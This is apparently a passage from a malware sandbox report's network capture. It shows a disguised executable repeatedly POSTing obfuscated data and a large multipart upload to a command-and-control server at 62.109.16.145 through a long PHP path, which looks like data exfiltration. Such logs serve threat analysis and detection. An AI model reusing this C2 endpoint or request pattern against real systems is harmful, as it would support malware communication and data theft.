Jan 9, 2025 04:12:23.715933084 CET	1044	OUT	Data Raw: 5f 57 5c 5e 5a 5c 5d 5a 55 56 55 5a 56 58 55 55 56 56 5a 53 55 53 53 59 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _W\^Z\]ZUVUZVXUUVVZSUSSYT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&0*#Z (:'"=(-#4C$>:&(U,%Y3=/( \%#Y)
Jan 9, 2025 04:12:24.041769981 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:24.169742107 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:24.323297024 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:24.669234037 CET	1048	OUT	Data Raw: 5f 51 59 5e 5f 5b 5d 5e 55 56 55 5a 56 5f 55 5d 56 5c 5a 5e 55 51 53 5c 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _QY^_[]^UVUZV_U]V\Z^UQS\T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&['348%&2=(> 4'=;-%9&+3$?#>$<? \%#Y)
Jan 9, 2025 04:12:25.003175020 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:25.133550882 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49755	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:25.287075996 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:25.637979031 CET	1048	OUT	Data Raw: 5a 51 5c 5c 5f 5d 58 5c 55 56 55 5a 56 5d 55 50 56 55 5a 5e 55 50 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZQ\\_]X\UVUZV]UPVUZ^UPSVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&$?Z"(%'(=/7%(;%X1-<#2+);(/ \%#Y)0
Jan 9, 2025 04:12:25.981440067 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:26.114264965 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49756	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:26.249624968 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:26.606586933 CET	1048	OUT	Data Raw: 5a 5b 59 59 5a 58 58 5b 55 56 55 5a 56 5a 55 56 56 56 5a 52 55 51 53 5f 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: Z[YYZXX[UVUZVZUVVVZRUQS_T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&_3+\ 8-$2).+ C#]*&1<Z%,8\>?(/ \%#Y),
Jan 9, 2025 04:12:26.954299927 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:27.085659981 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49757	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:26.302238941 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1752 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:26.653490067 CET	1752	OUT	Data Raw: 5f 51 59 5a 5a 5b 5d 5c 55 56 55 5a 56 58 55 57 56 55 5a 5a 55 52 53 5b 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _QYZZ[]\UVUZVXUWVUZZURS[T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%$(4;-Z&"<.<738>'9?#Y%<<*<[< \%#Y)(
Jan 9, 2025 04:12:27.013259888 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49758	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:26.385158062 CET	475	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----yy7bU66Cf92JLKX8naKXzxU4Ui5hPFbuf5 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 193638 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:26.731686115 CET	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 79 79 37 62 55 36 36 43 66 39 32 4a 4c 4b 58 38 6e 61 4b 58 7a 78 55 34 55 69 35 68 50 46 62 75 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------yy7bU66Cf92JLKX8naKXzxU4Ui5hPFbuf5Content-Disposition: form-data; name="0"Content-Type: text/plainZPY__YXXUVUZVYU\V]Z\URSXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^
Jan 9, 2025 04:12:26.737484932 CET	12360	OUT	Data Raw: 44 53 34 4d 2b 42 79 32 5a 56 67 53 54 46 2f 47 36 45 53 41 35 51 54 43 36 2b 48 57 4c 62 4d 6f 4c 6a 7a 67 6b 48 58 43 70 36 4e 6c 79 38 6e 67 46 59 4f 44 37 43 44 46 62 69 4f 52 6c 34 63 67 45 33 72 6f 33 4b 54 77 75 77 47 77 65 64 70 2b 5a 76 Data Ascii: DS4M+By2ZVgSTF/G6ESA5QTC6+HWLbMoLjzgkHXCp6Nly8ngFYOD7CDFbiORl4cgE3ro3KTwuwGwedp+ZvoZKrMPJ7DOT0NlT7B4YPWiBblizbsamdIfH39B42qca03yN22QwzWNwbMqs33vK0hFoBFlScoXyORcAfnvHfY1s5/xgKw1HviowttGdzpsdERpcp/yxiKaXk6G+U6Jo6yy69PK9KomK8ZPEltBw9ls6Mf2cLN72C4
Jan 9, 2025 04:12:26.737951040 CET	4944	OUT	Data Raw: 6c 44 63 30 72 7a 4d 35 5a 37 57 79 34 4d 37 62 31 71 5a 53 6a 41 66 41 2f 56 42 32 63 47 31 63 46 73 64 65 32 31 67 39 2b 47 71 63 76 45 72 6a 69 6c 37 59 67 4a 4f 33 61 6d 64 4c 4c 54 79 75 6b 36 31 33 6c 70 4b 77 65 52 38 53 6f 76 48 56 79 62 Data Ascii: lDc0rzM5Z7Wy4M7b1qZSjAfA/VB2cG1cFsde21g9+GqcvErjil7YgJO3amdLLTyuk613lpKweR8SovHVyb3gZ011U+2WuENoGurGPPvs58BvZE7CUT4Por5exz798Lrf10VuePZBr2iSK9n/Q9d/hzUVbN/jcBCkKypB6UVqQJAqvUvvoRdBQISAgICAgDRR1ABBOtJLQui9CghKR2qo0ns1IL2TN0HvvZ/v73nePxQ4OWcyyTm
Jan 9, 2025 04:12:26.738598108 CET	7416	OUT	Data Raw: 78 37 38 78 2f 66 66 6d 2f 4d 33 35 2f 53 30 76 70 57 69 48 38 6d 68 6f 2f 37 6e 4d 4b 35 41 62 47 70 2b 67 79 54 59 65 4e 2b 38 78 2f 4e 34 73 74 67 52 72 4e 66 4a 30 55 6f 68 65 53 53 35 2f 6c 4b 32 41 38 48 46 48 47 54 39 33 70 73 4a 79 47 57 Data Ascii: x78x/ffm/M35/S0vpWiH8mho/7nMK5AbGp+gyTYeN+8x/N4stgRrNfJ0UoheSS5/lK2A8HFHGT93psJyGWKrj4Fr9IHb+4Hnhkx/3h9/uAzuuMQAVDCANiMmq5ZACYmm8p30PXSi9Dq3Gnq5Ok2VQyFauY1Gx4aEaLNThOHVD7cUn6wtmETsqrY2pZEDF+Icwv0R9zGpYw1K5Xl71sm5LFXEDBnUiiiOlauaTq9PB85WmPY1crs
Jan 9, 2025 04:12:26.743333101 CET	7416	OUT	Data Raw: 41 4d 6a 4c 31 34 78 76 4b 31 36 35 6e 5a 38 66 62 5a 39 6b 47 33 37 73 48 70 47 31 2f 35 6c 64 4d 32 75 2f 4f 6c 55 35 46 73 58 78 68 57 71 6e 56 69 47 36 32 31 6c 50 77 64 30 65 2f 50 6a 54 32 46 62 75 39 2b 6c 5a 39 35 32 78 75 2f 4b 64 68 4f Data Ascii: AMjL14xvK165nZ8fbZ9kG37sHpG1/5ldM2u/OlU5FsXxhWqnViG621lPwd0e/PjT2Fbu9+lZ952xu/KdhOXO+/WdGRpe9RFFI3cE7kVnyik/B4vNl29539Re6RIXKRQDGGe+M3mXXjO1W7ZNuvStoEYPUn6H1UYiyE0bbl2nekBdXBHsIu8sPsr3O7P60QftO+YtnsQf2YfvCExoX9R5evXdXIxoprIg7XN239QdFCEp5i10/jH
Jan 9, 2025 04:12:26.743352890 CET	2472	OUT	Data Raw: 75 53 6b 4c 79 56 6c 41 53 48 31 4c 6c 72 58 34 38 2f 70 47 4f 30 62 68 50 47 72 79 61 70 56 79 67 34 49 48 56 71 33 36 41 68 4e 46 35 4c 42 59 65 73 6f 39 38 69 47 77 48 65 69 49 65 2b 45 7a 74 4e 52 47 63 53 42 4b 55 34 43 66 33 6d 4f 4c 75 79 Data Ascii: uSkLyVlASH1LlrX48/pGO0bhPGryapVyg4IHVq36AhNF5LBYeso98iGwHeiIe+EztNRGcSBKU4Cf3mOLuy7KYi2MfkAFuCDwHd5BZczQjnqqv9NG8DwMtqTkDxLoODaAP/8MteOQM4Yq1FKBzCBmD8BRjCCB46FOOPOgTbEwOdgmPbJl5u23fRNvOqhmwKvfNm8FtL+7S90EEXc0qsFS8+D+IJPM0JgaMy8hVZVl9RZaZRDyHOq
Jan 9, 2025 04:12:26.743387938 CET	4944	OUT	Data Raw: 61 79 2f 6d 52 64 77 76 53 4f 78 44 39 35 49 58 4d 55 36 35 62 37 77 50 6b 72 57 77 33 55 45 4f 43 35 31 41 2f 31 67 6f 42 43 2f 58 66 4f 46 51 34 67 79 70 58 47 57 4b 65 44 57 71 2f 32 6f 70 73 30 6b 78 6b 6e 79 75 51 47 6e 59 4f 4f 4c 67 76 76 Data Ascii: ay/mRdwvSOxD95IXMU65b7wPkrWw3UEOC51A/1goBC/XfOFQ4gypXGWKeDWq/2ops0kxknyuQGnYOOLgvvmmmyuib7fTNm3GdOsQfYGCK1jDxHpe1Pb7ahRUlZaX19bu/bT6pSgN5zb2qFAu3ArQfwceX49+3U8w+qJsttdpgVjpY4SIl84DH/hF1L3liQaPWDzJl6CzkiQWVw+bPdM2ZwJd5Rj0azhUJLJHmdut9mFPLfPOFL4
Jan 9, 2025 04:12:26.744024992 CET	4944	OUT	Data Raw: 4e 4c 61 6f 74 34 2f 33 33 75 4d 41 41 66 39 37 56 77 50 78 53 75 55 32 63 72 49 47 57 32 58 72 36 4c 44 51 74 32 33 35 76 73 35 58 53 5a 57 70 6d 74 79 46 54 6f 43 6e 4d 30 6d 35 4e 4f 2b 61 33 32 63 31 6a 38 39 70 59 33 53 6f 31 71 31 4c 59 61 Data Ascii: NLaot4/33uMAAf97VwPxSuU2crIGW2Xr6LDQt235vs5XSZWpmtyFToCnM0m5NO+a32c1j89pY3So1q1LYamtSRPjOTH3rL9GyqUTdefRrw6073BDM948P+offR4g8KglndPxZ3NY00HFm+02dkxepgQ3YW952rvd2NzzL7/Yr3+U0NBG1f7GnnR0pBy6S+HNsLWRjqyOb83q6lhkN96gem3nfMQipNaY3smafTBQgwMuX/I7W80
Jan 9, 2025 04:12:26.788294077 CET	32136	OUT	Data Raw: 77 35 2f 70 35 74 73 72 43 65 30 5a 4c 32 75 72 47 76 79 71 54 6b 36 71 41 41 65 4f 6d 75 76 34 4d 70 67 46 4e 66 6a 79 38 68 78 34 4d 46 6e 56 6a 64 52 39 4d 75 4b 54 30 42 67 64 66 4d 70 66 67 72 46 35 37 4a 63 70 36 66 61 47 5a 36 61 79 68 46 Data Ascii: w5/p5tsrCe0ZL2urGvyqTk6qAAeOmuv4MpgFNfjy8hx4MFnVjdR9MuKT0BgdfMpfgrF57Jcp6faGZ6ayhF+apTqa7g11Nw0Nf9Pdu1J0js25XIIBDScTfyY3IZBV09dhRnkMzsOWeTnYjVXbZL9rHoqMMyQqIe3eD1tMDxwBoXGPAIzG5ym9nyQ/i313nG6mrt0xqojcqSXjk2c2fVBQfLVK4oO9bH7xAE/8Dfm0MUWbhfsuby4
Jan 9, 2025 04:12:26.838779926 CET	1236	OUT	Data Raw: 49 2f 4c 35 6d 56 79 41 72 7a 46 2b 37 58 41 4f 31 4a 50 48 43 62 77 6e 4f 33 34 50 67 31 71 63 56 36 72 66 55 4a 5a 4f 7a 64 69 64 44 4f 33 32 6c 76 30 57 4f 78 6b 39 4f 43 4e 56 50 56 68 61 45 65 4c 49 76 75 51 77 58 44 38 6c 4a 64 55 74 65 47 Data Ascii: I/L5mVyArzF+7XAO1JPHCbwnO34Pg1qcV6rfUJZOzdidDO32lv0WOxk9OCNVPVhaEeLIvuQwXD8lJdUteGJW/cDuw7DxN11rO+6GSavyOE2uSr9iqtPe/N91xOISNKbYhBkaTWh0igdme/cOJSxN6LT7Mwba4h1EXTo97+VO+WvK512GfTt3ENjWGjplZeEpHvLVWN1hpmTt5NU2VWwVX7Qc3qstcH3ZTLoDFF/O0Au/W1107mv
Jan 9, 2025 04:12:27.062608957 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49759	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:27.217174053 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:12:27.575614929 CET	1048	OUT	Data Raw: 5f 56 59 51 5f 5d 58 51 55 56 55 5a 56 5c 55 52 56 50 5a 5a 55 57 53 5f 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _VYQ_]XQUVUZV\URVPZZUWS_T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%393]4*$:+X4 #=6&)P(,&$><X+ \%#Y)4
Jan 9, 2025 04:12:27.927318096 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:28.062108994 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49760	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:28.188266993 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:28.544018984 CET	1048	OUT	Data Raw: 5a 52 5c 5a 5f 5c 58 59 55 56 55 5a 56 50 55 52 56 50 5a 5e 55 54 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZR\Z_\XYUVUZVPURVPZ^UTSWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%'+Z ;%Z0%<-?Z#%])51_=#X%/_=<Z+ \%#Y)
Jan 9, 2025 04:12:28.900443077 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:29.033778906 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49761	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:29.154784918 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:12:29.512839079 CET	1048	OUT	Data Raw: 5f 56 59 58 5a 59 5d 5b 55 56 55 5a 56 59 55 53 56 5c 5a 5d 55 54 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _VYXZY][UVUZVYUSV\Z]UTSWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&3#[#8:$X)-/#%3>8%2)(/2?8Y*$<(/ \%#Y)
Jan 9, 2025 04:12:29.874089003 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:30.010582924 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49762	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:30.139869928 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1044 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:30.497149944 CET	1044	OUT	Data Raw: 5a 5b 59 5b 5f 5e 58 5b 55 56 55 5a 56 58 55 5d 56 51 5a 52 55 50 53 5f 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: Z[Y[_^X[UVUZVXU]VQZRUPS_T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%$)4;)_0T.<> 6/]=')!3($?/=$$Y/ \%#Y)
Jan 9, 2025 04:12:30.832426071 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:30.961610079 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49763	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:31.094048977 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1044 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:31.450295925 CET	1044	OUT	Data Raw: 5a 53 59 51 5a 5c 58 5d 55 56 55 5a 56 58 55 51 56 51 5a 5c 55 52 53 5a 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZSYQZ\X]UVUZVXUQVQZ\URSZT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&_$)/ :'1.<.'43)!2:%V+'23)$( \%#Y)0
Jan 9, 2025 04:12:31.780750990 CET	25	IN	HTTP/1.1 100 Continue
